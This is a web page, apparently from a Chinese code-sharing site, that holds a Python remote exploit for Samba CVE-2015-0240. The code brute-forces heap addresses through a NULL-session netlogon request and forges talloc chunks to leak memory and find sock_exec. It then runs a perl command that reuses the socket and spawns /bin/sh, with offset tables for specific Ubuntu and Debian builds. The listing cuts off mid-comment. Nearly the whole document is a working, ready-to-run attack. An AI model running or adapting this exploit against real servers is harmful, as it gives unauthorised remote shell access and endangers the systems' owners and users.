扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 |
#!/usr/bin/python """ Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()' in libtalloc does not write a value on 'creds' address. Reference: - https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/ Note: - heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option) if something failed Find heap address: - ubuntu PIE heap start range: b7700000 - b9800000 - start payload size: the bigger it is the lesser connection and binding time. but need more time to shrink payload size - payload is too big to fit in freed small hole. so payload is always at end of heap - start bruteforcing heap address from high memory address to low memory address to prevent 'creds' pointed to real heap chunk (also no crash but not our payload) Leak info: - heap layout is predictable because talloc_stackframe_pool(8192) is called after accepted connection and fork but before calling smbd_server_connection_loop_once() - before talloc_stackframe_pool(8192) is called, there are many holes in heap but their size are <8K. so pool is at the end of heap at this time - many data that allocated after talloc_stackframe_pool(8192) are allocated in pool. with the same pattern of request, the layout in pool are always the same. - many data are not allocated in pool but fit in free holes. so no small size data are allocated after pool. - normally there are only few data block allocated after pool. - pool size: 0x2048 (included glibc heap header 4 bytes) - a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes) - p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes) - this might not be allocated here because its size might fit in freed hole - all fragment should be same size to prevent talloc_realloc() changed pdu.data size - so last fragment should be padded - ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes) - this might not be allocated here because its size might fit in freed hole - p->in_data.data.data. the size is our netlogon data - for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes) - this data is allocated by realloc(), grew by each fragment. so this memory block is not allocated by mmapped even the size is very big. - pool layout for interested data - r->out offset from pool (talloc header) is 0x13c0 - r->out.return_authenticator offset from pool is 0x13c0+0x18 - overwrite this (with link unlink) to leak info in ServerPasswordSet response - smb_request offset from pool (talloc header) is 0x11a0 - smb_request.sconn offset from pool is 0x11a0+0x3c - socket fd is at smb_request.sconn address (first struct member) - more shared folder in configuration, more freed heap holes - only if there is no or one shared, many data might be unexpected allocated after pool. have to get that extra offset or bruteforce it More exploitation detail in code (comment) ;) """ import sys import time from struct import pack,unpack import argparse import impacket from impacket.dcerpc.v5 import transport, nrpc from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5.dtypes import WSTR class Requester: """ put all smb request stuff into class. help my editor folding them """ # impacket does not implement NetrServerPasswordSet # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) class NetrServerPasswordSet(NDRCALL): opnum = 6 structure = ( ('PrimaryName',nrpc.PLOGONSRV_HANDLE), ('AccountName',WSTR), ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName',WSTR), ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) # response is authenticator (8 bytes) and error code (4 bytes) # size of each field in sent packet req_server_handle_size = 16 req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null req_sec_type_size = 2 req_computer_size = 4 + 4 + 4 + 2 req_authenticator_size = 8 + 2 + 4 req_new_pwd_size = 16 req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size samba_rpc_fragment_size = 4280 netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24# 24 is dcerpc header size def __init__(self): self.target = None self.dce = None sessionKey = '\x00'*16 # prepare ServerPasswordSet request authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) authenticator['Timestamp'] = 10 uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = '\x00'*16 self.serverName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds self.serverName.fields['ReferentID'] = 0 self.accountName = WSTR() request = Requester.NetrServerPasswordSet() request['PrimaryName'] = self.serverName request['AccountName'] = self.accountName request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = '\x00' request['Authenticator'] = authenticator request['UasNewPassword'] = uasNewPass self.request = request def set_target(self, target): self.target = target def set_payload(self, s, pad_to_size=0): if pad_to_size > 0: s += '\x00'*(pad_to_size-len(s)) pad_size = 0 if len(s) < (16*1024+1): ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size if ofsize > 0: pad_size = self.netlogon_data_fragment_size - ofsize self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00' self.accountName.fields['MaximumCount'] = None self.accountName.fields['ActualCount'] = None self.accountName.data = None# force recompute set_accountNameData = set_payload def get_dce(self): if self.dce is None or self.dce.lostconn: rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target) rpctransport.set_credentials('','')# NULL session rpctransport.set_dport(445) # force to 'NT LM 0.12' only rpctransport.preferred_dialect('NT LM 0.12') self.dce = rpctransport.get_dce_rpc() self.dce.connect() self.dce.bind(nrpc.MSRPC_UUID_NRPC) self.dce.lostconn = False return self.dce def get_socket(self): return self.dce.get_rpc_transport().get_socket() def force_dce_disconnect(self): if not (self.dce is None or self.dce.lostconn): self.get_socket().close() self.dce.lostconn = True def request_addr(self, addr): self.serverName.fields['ReferentID'] = addr dce = self.get_dce() try: dce.call(self.request.opnum, self.request) answer = dce.recv() return unpack("<IIII", answer) except impacket.nmb.NetBIOSError as e: if e.args[0] != 'Error while reading from remote': raise dce.lostconn = True return None # call with no read def call_addr(self, addr): self.serverName.fields['ReferentID'] = addr dce = self.get_dce() try: dce.call(self.request.opnum, self.request) return True except impacket.nmb.NetBIOSError as e: if e.args[0] != 'Error while reading from remote': raise dce.lostconn = True return False def force_recv(self): dce = self.get_dce() return dce.get_rpc_transport().recv(forceRecv=True) def request_check_valid_addr(self, addr): answers = self.request_addr(addr) if answers is None: return False # connection lost elif answers[3] != 0: return True# error, expected else: raise Error('Unexpected result') # talloc constants TALLOC_MAGIC = 0xe8150c70# for talloc 2.0 TALLOC_FLAG_FREE = 0x01 TALLOC_FLAG_LOOP = 0x02 TALLOC_FLAG_POOL = 0x04 TALLOC_FLAG_POOLMEM = 0x08 TALLOC_HDR_SIZE = 0x30# for 32 bit flag_loop = TALLOC_MAGIC | TALLOC_FLAG_LOOP# for checking valid address # Note: do NOT reduce target_payload_size less than 8KB. 4KB is too small buffer. cannot predict address. TARGET_PAYLOAD_SIZE = 8192 ######## # request helper functions ######## # only one global requester requester = Requester() def force_dce_disconnect(): requester.force_dce_disconnect() def request_addr(addr): return requester.request_addr(addr) def request_check_valid_addr(addr): return requester.request_check_valid_addr(addr) def set_payload(s, pad_to_size=0): requester.set_payload(s, pad_to_size) def get_socket(): return requester.get_socket() def call_addr(addr): return requester.call_addr(addr) def force_recv(): return requester.force_recv() ######## # find heap address ######## # only refs MUST be NULL, other never be checked fake_chunk_find_heap = pack("<IIIIIIII", 0, 0, 0, 0, # refs flag_loop, flag_loop, flag_loop, flag_loop, ) def find_valid_heap_addr(start_addr, stop_addr, payload_size, first=False): """ below code can be used for checking valid heap address (no crash) if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) { /* we have a free loop - stop looping */ return 0; } """ global fake_chunk_find_heap payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap)) set_payload(payload) addr_step = payload_size addr = start_addr i = 0 while addr > stop_addr: if i == 16: print(" [*]trying addr: {:x}".format(addr)) i = 0 if request_check_valid_addr(addr): return addr if first: # first time, the last 16 bit is still do not know # have to do extra check if request_check_valid_addr(addr+0x10): return addr+0x10 addr -= addr_step i += 1 return None def find_valid_heap_exact_addr(addr, payload_size): global fake_chunk_find_heap fake_size = payload_size // 2 while fake_size >= len(fake_chunk_find_heap): payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap)) set_payload(payload, payload_size) if not request_check_valid_addr(addr): addr -= fake_size fake_size = fake_size // 2 set_payload('\x00'*16 + pack("<I", flag_loop), payload_size) # because glibc heap is align by 8 # so the last 4 bit of address must be 0x4 or 0xc if request_check_valid_addr(addr-4): addr -= 4 elif request_check_valid_addr(addr-0xc): addr -= 0xc else: print(" [-] bad exact addr: {:x}".format(addr)) return 0 print(" [*] checking exact addr: {:x}".format(addr)) if (addr & 4) == 0: return 0 # test the address # must be invalid (refs is AccountName.ActualCount) set_payload('\x00'*12 + pack("<I", flag_loop), payload_size) if request_check_valid_addr(addr-4): print(' [-] request_check_valid_addr(addr-4) failed') return 0 # must be valid (refs is AccountName.Offset) # do check again if fail. sometimes heap layout is changed set_payload('\x00'*8 + pack("<I", flag_loop), payload_size) if not request_check_valid_addr(addr-8) and not request_check_valid_addr(addr-8) : print(' [-] request_check_valid_addr(addr-8) failed') return 0 # must be invalid (refs is AccountName.MaxCount) set_payload('\x00'*4 + pack("<I", flag_loop), payload_size) if request_check_valid_addr(addr-0xc): print(' [-] request_check_valid_addr(addr-0xc) failed') return 0 # must be valid (refs is ServerHandle.ActualCount) # do check again if fail. sometimes heap layout is changed set_payload(pack("<I", flag_loop), payload_size) if not request_check_valid_addr(addr-0x10) and not request_check_valid_addr(addr-0x10): print(' [-] request_check_valid_addr(addr-0x10) failed') return 0 return addr def find_payload_addr(start_addr, start_payload_size, target_payload_size): print('[*] bruteforcing heap address...') start_addr = start_addr & 0xffff0000 heap_addr = 0 while heap_addr == 0: # loop from max to 0xb7700000 for finding heap area # offset 0x20000 is minimum offset from heap start to recieved data in heap stop_addr = 0xb7700000 + 0x20000 good_addr = None payload_size = start_payload_size while payload_size >= target_payload_size: force_dce_disconnect() found_addr = None for i in range(3): found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None) if found_addr is not None: break if found_addr is None: # failed good_addr = None break good_addr = found_addr print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr)) start_addr = good_addr stop_addr = good_addr - payload_size + 0x20 payload_size //= 2 if good_addr is not None: # try 3 times to find exact address. if address cannot be found, assume # minimizing payload size is not correct. start minimizing again for i in range(3): heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size) if heap_addr != 0: break force_dce_disconnect() if heap_addr == 0: print(' [-] failed to find payload adress') # start from last good address + some offset start_addr = (good_addr + 0x10000) & 0xffff0000 print('[*] bruteforcing heap adress again from {:x}'.format(start_addr)) payload_addr = heap_addr - len(fake_chunk_find_heap) print(" [+] found payload addr: {:x}".format(payload_addr)) return payload_addr ######## # leak info ######## def addr2utf_prefix(addr): def is_badchar(v): return (v >= 0xd8) and (v <= 0xdf) prefix = 0 # safe if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff): prefix |= 2 # cannot have prefix if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff): prefix |= 1 # must have prefix return prefix def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False): """ Note: - if next_addr and prev_addr are not zero, they must be writable address because of below code in _talloc_free_internal() if (tc->prev) tc->prev->next = tc->next; if (tc->next) tc->next->prev = tc->prev; """ # Note: U+D800 to U+DFFF is reserved (also bad char for samba) # check if '\x00' is needed to avoid utf16 badchar prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr) if prefix_len == 3: return None # cannot avoid badchar if prefix_len == 2: prefix_len = 0 fake_chunk_leak_info = pack("<IIIIIIIIIIII", next_addr, prev_addr, # next, prev 0, 0, # parent, children 0, 0, # refs, destructor 0, 0, # name, size TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag 0, 0, 0, # pool, pad, pad ) payload = '\x00'*prefix_len+fake_chunk_leak_info + pack("<I", 0x80000) # pool_object_count set_payload(payload, TARGET_PAYLOAD_SIZE) if call_only: return call_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len) for i in range(3 if retry else 1): try: answers = request_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len) except impacket.dcerpc.v5.rpcrt.Exception: print("impacket.dcerpc.v5.rpcrt.Exception") answers = None force_dce_disconnect() if answers is not None: # leak info must have next or prev address if (answers[1] == prev_addr) or (answers[0] == next_addr): break #print('{:x}, {:x}, {:x}, {:x}'.format(answers[0], answers[1], answers[2], answers[3])) answers = None # no next or prev in answers => wrong answer force_dce_disconnect() # heap is corrupted, disconnect it return answers def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True): # leak by replace r->out.return_authenticator pointer # Note:because leak_addr[4:8] will be replaced with r_out_addr # only answers[0] and answers[2] are leaked return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry) def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True): # leak by replace r->out.return_authenticator pointer # Note: leak_addr[0:4] will be replaced with r_out_addr # only answers[1] and answers[2] are leaked return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry) def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr): # leak name field ('uint8_t') in found heap chunk # do not retry this leak, because r_out_addr is guessed answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False) if answers is None: return None if answers[2] != TALLOC_MAGIC: force_dce_disconnect() return None return answers[0] def leak_info_find_offset(info): # offset from pool to payload still does not know print("[*] guessing 'r' offset and leaking 'uint8_t' address ...") chunk_addr = info['chunk_addr'] uint8t_addr = None r_addr = None r_out_addr = None while uint8t_addr is None: # 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0 # 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0 # 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0 # 0xad40 is extra offset when no share on debian # 0x10d38 is extra offset when only [printers] is shared on debian for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38): r_addr = chunk_addr - offset # 0x18 is out.authenticator offset r_out_addr = r_addr + 0x18 print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr)) uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr) if uint8t_addr is not None: print("[*] success") break print("[-] failed") if uint8t_addr is None: return False info['uint8t_addr'] = uint8t_addr info['r_addr'] = r_addr info['r_out_addr'] = r_out_addr info['pool_addr'] = r_addr - 0x13c0 print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr'])) print(" [+] pool addr: {:x}".format(info['pool_addr'])) return True def leak_sock_fd(info): # leak sock fd from # smb_request->sconn->sock # (offset: ->0x3c ->0x0 ) print("[*] leaking socket fd ...") info['smb_request_addr'] = info['pool_addr']+0x11a0 print(" [*] smb request addr: {:x}".format(info['smb_request_addr'])) answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4) if answers is None: print(' [-] cannot leak sconn_addr address :(') return None force_dce_disconnect() # heap is corrupted, disconnect it sconn_addr = answers[2] info['sconn_addr'] = sconn_addr print(' [+] sconn addr: {:x}'.format(sconn_addr)) # write in padding of chunk, no need to disconnect answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr) if answers is None: print('cannot leak sock_fd address :(') return None sock_fd = answers[1] print(' [+] sock fd: {:d}'.format(sock_fd)) info['sock_fd'] = sock_fd return sock_fd def leak_talloc_pop_addr(info): # leak destructor talloc_pop() address # overwrite name field, no need to disconnect print('[*] leaking talloc_pop address') answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14) if answers is None: print(' [-] cannot leak talloc_pop() address :(') return None if answers[2] != 0x2010: # chunk size must be 0x2010 print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(') return None talloc_pop_addr = answers[0] print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr)) info['talloc_pop_addr'] = talloc_pop_addr return talloc_pop_addr def leak_smbd_server_connection_handler_addr(info): # leak address from # smbd_server_connection.smb1->fde ->handler # (offset: ->0x9c->0x14 ) # MUST NOT disconnect after getting smb1_fd_event address print('[*] leaking smbd_server_connection_handler address') def real_leak_conn_handler_addr(info): answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c) if answers is None: print(' [-] cannot leak smb1_fd_event address :(') return None smb1_fd_event_addr = answers[1] print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr)) answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14) if answers is None: print(' [-] cannot leak smbd_server_connection_handler address :(') return None force_dce_disconnect() # heap is corrupted, disconnect it smbd_server_connection_handler_addr = answers[0] diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr if diff > 0x2000000 or diff < 0: print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) smbd_server_connection_handler_addr = None return smbd_server_connection_handler_addr smbd_server_connection_handler_addr = None while smbd_server_connection_handler_addr is None: smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info) print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr return smbd_server_connection_handler_addr def find_smbd_base_addr(info): # estimate smbd_addr from talloc_pop if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0: # code has no alignment start_addr = info['smbd_server_connection_handler_addr'] - 0x124000 else: start_addr = info['smbd_server_connection_handler_addr'] - 0x130000 start_addr = start_addr & 0xfffff000 stop_addr = start_addr - 0x20000 print('[*] finding smbd loaded addr ...') while True: smbd_addr = start_addr while smbd_addr >= stop_addr: if addr2utf_prefix(smbd_addr-8) == 3: # smbd_addr is 0xb?d?e000 test_addr = smbd_addr - 0x800 - 4 else: test_addr = smbd_addr - 8 # test writable on test_addr answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False) if answers is not None: break smbd_addr -= 0x1000 # try prev page if smbd_addr > stop_addr: break print(' [-] failed. try again.') info['smbd_addr'] = smbd_addr print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr)) def dump_mem_call_addr(info, target_addr): # leak pipes_struct address from # smbd_server_connection->chain_fsp->fake_file_handle->private_data # (offset:->0x48 ->0xd4->0x4 ) # Note: # - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed # - target_addr will be replaced with current_pdu_sent address # check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c print(' [*] overwrite current_pdu_sent for dumping memory ...') answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48) if answers is None: print('[-] cannot leak chain_fsp address :(') return False chain_fsp_addr = answers[1] print('[*] chain_fsp addr: {:x}'.format(chain_fsp_addr)) answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False) if answers is None: print('[-] cannot leak fake_file_handle address :(') return False fake_file_handle_addr = answers[0] print('[*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr)) answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False) if answers is None: print('[-] cannot leak pipes_struct address :(') return False pipes_struct_addr = answers[2] print('[*] pipes_struct addr: {:x}'.format(pipes_struct_addr)) current_pdu_sent_addr = pipes_struct_addr+0x84 print('[*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr)) # change pipes->out_data.current_pdu_sent to dump memory return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True) def dump_smbd_find_bininfo(info): def recv_till_string(data, s): pos = len(data) while True: data += force_recv() if len(data) == pos: print('no more data !!!') return None p = data.find(s, pos-len(s)) if p != -1: return (data, p) pos = len(data) return None def lookup_dynsym(dynsym, name_offset): addr = 0 i = 0 offset_str = pack("<I", name_offset) while i < len(dynsym): if dynsym[i:i+4] == offset_str: addr = unpack("<I", dynsym[i+4:i+8])[0] break i += 16 return addr print('[*] dumping smbd ...') dump_call = False # have to minus from smbd_addr because code section is read-only if addr2utf_prefix(info['smbd_addr']-4) == 3: # smbd_addr is 0xb?d?e000 dump_addr = info['smbd_addr'] - 0x800 - 4 else: dump_addr = info['smbd_addr'] - 4 for i in range(8): if dump_mem_call_addr(info, dump_addr): mem = force_recv() if len(mem) == 4280: dump_call = True break print(' [-] dump_mem_call_addr failed. try again') force_dce_disconnect() if not dump_call: print(' [-] dump smbd failed') return False print(' [+] dump success. getting smbd ...') # first time, remove any data before \7fELF mem = mem[mem.index('\x7fELF'):] mem, pos = recv_till_string(mem, '\x00__gmon_start__\x00') print(' [*] found __gmon_start__ at {:x}'.format(pos+1)) pos = mem.rfind('\x00\x00', 0, pos-1) dynstr_offset = pos+1 print(' [*] found .dynstr section at {:x}'.format(dynstr_offset)) dynstr = mem[dynstr_offset:] mem = mem[:dynstr_offset] # find start of .dynsym section pos = len(mem) - 16 while pos > 0: if mem[pos:pos+16] == '\x00'*16: break pos -= 16 # sym entry size is 16 bytes if pos <= 0: print(' [-] found wrong .dynsym section at {:x}'.format(pos)) return None dynsym_offset = pos print(' [*] found .dynsym section at {:x}'.format(dynsym_offset)) dynsym = mem[dynsym_offset:] # find sock_exec dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00') print(' [*] found sock_exec string at {:x}'.format(pos+1)) sock_exec_offset = lookup_dynsym(dynsym, pos+1) print(' [*] sock_exec offset {:x}'.format(sock_exec_offset)) #info['mem'] = mem# smbd data before .dynsym section info['dynsym'] = dynsym info['dynstr'] = dynstr # incomplete section info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr'])) # Note: can continuing memory dump to find ROP force_dce_disconnect() ######## # code execution ######## def call_sock_exec(info): prefix_len = addr2utf_prefix(info['sock_exec_addr']) if prefix_len == 3: return False # too bad... cannot call if prefix_len == 2: prefix_len = 0 fake_talloc_chunk_exec = pack("<IIIIIIIIIIII", 0, 0, # next, prev 0, 0,# parent, child 0, # refs info['sock_exec_addr'], # destructor 0, 0, # name, size TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag 0, 0, 0, # pool, pad, pad ) chunk = '\x00'*prefix_len+fake_talloc_chunk_exec + info['cmd'] + '\x00' set_payload(chunk, TARGET_PAYLOAD_SIZE) for i in range(3): if request_check_valid_addr(info['payload_addr']+TALLOC_HDR_SIZE+prefix_len): print('waiting for shell :)') return True print('something wrong :(') return False ######## # start work ######## def check_exploitable(): if request_check_valid_addr(0x41414141): print('[-] seems not vulnerable') return False if request_check_valid_addr(0): print('[+] seems exploitable :)') return True print("[-] seems vulnerable but I cannot exploit") print("[-] I can exploit only if 'creds' is controlled by 'ReferentId'") return False def do_work(args): info = {} if not (args.payload_addr or args.heap_start or args.start_payload_size): if not check_exploitable(): return start_size = 512*1024 # default size with 512KB if args.payload_addr: info['payload_addr'] = args.payload_addr else: heap_start = args.heap_start if args.heap_start else 0xb9800000+0x30000 if args.start_payload_size: start_size = args.start_payload_size * 1024 if start_size < TARGET_PAYLOAD_SIZE: start_size = 512*1024 # back to default info['payload_addr'] = find_payload_addr(heap_start, start_size, TARGET_PAYLOAD_SIZE) # the real talloc chunk address that stored the raw netlogon data # serverHandle 0x10 bytes. accountName 0xc bytes info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE print("[+] chunk addr: {:x}".format(info['chunk_addr'])) while not leak_info_find_offset(info): # Note: do heap bruteforcing again seems to be more effective # start from payload_addr + some offset print("[+] bruteforcing heap again. start from {:x}".format(info['payload_addr']+0x10000)) info['payload_addr'] = find_payload_addr(info['payload_addr']+0x10000, start_size, TARGET_PAYLOAD_SIZE) info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE print("[+] chunk addr: {:x}".format(info['chunk_addr'])) got_fd = leak_sock_fd(info) # create shell command for reuse sock fd cmd = "perl -e 'use POSIX qw(dup2);$)=0;$>=0;"# seteuid, setegid cmd += "dup2({0:d},0);dup2({0:d},1);dup2({0:d},2);".format(info['sock_fd']) # dup sock # have to kill grand-grand-parent process because sock_exec() does fork() then system() # the smbd process still receiving data from socket cmd += "$z=getppid;$y=<code>ps -o ppid= $z</code>;$x=<code>ps -o ppid= $y</code>;kill 15,$x,$y,$z;"# kill parents cmd += """print "shell ready\n";exec "/bin/sh";'"""# spawn shell info['cmd'] = cmd # Note: cannot use system@plt because binary is PIE and chunk dtor is called in libtalloc. # the ebx is not correct for resolving the system address smbd_info = { 0x5dd: { 'uint8t_offset': 0x711555, 'talloc_pop': 0x41a890, 'sock_exec': 0x0044a060, 'version': '3.6.3-2ubuntu2 - 3.6.3-2ubuntu2.3'}, 0xb7d: { 'uint8t_offset': 0x711b7d, 'talloc_pop': 0x41ab80, 'sock_exec': 0x0044a380, 'version': '3.6.3-2ubuntu2.9'}, 0xf7d: { 'uint8t_offset': 0x710f7d, 'talloc_pop': 0x419f80, 'sock_exec': 0x00449770, 'version': '3.6.3-2ubuntu2.11'}, 0xf1d: { 'uint8t_offset': 0x71ff1d, 'talloc_pop': 0x429e80, 'sock_exec': 0x004614b0, 'version': '3.6.6-6+deb7u4'}, } leak_talloc_pop_addr(info)# to double check the bininfo bininfo = smbd_info.get(info['uint8t_addr'] & 0xfff) if bininfo is not None: smbd_addr = info['uint8t_addr'] - bininfo['uint8t_offset'] if smbd_addr + bininfo['talloc_pop'] == info['talloc_pop_addr']: # correct info print('[+] detect smbd version: {:s}'.format(bininfo['version'])) info['smbd_addr'] = smbd_addr info['sock_exec_addr'] = smbd_addr + bininfo['sock_exec'] print(' [*] smbd loaded addr: {:x}'.format(smbd_addr)) print(' [*] use sock_exec offset: {:x}'.format(bininfo['sock_exec'])) print(' [*] sock_exec addr: {:x}'.format(info['sock_exec_addr'])) else: # wrong info bininfo = None got_shell = False if bininfo is None: # no target binary info. do a hard way to find them. """ leak smbd_server_connection_handler for 2 purposes - to check if compiler does code alignment - to estimate smbd loaded address - gcc always puts smbd_server_connection_handler() function at beginning area of .text section - so the difference of 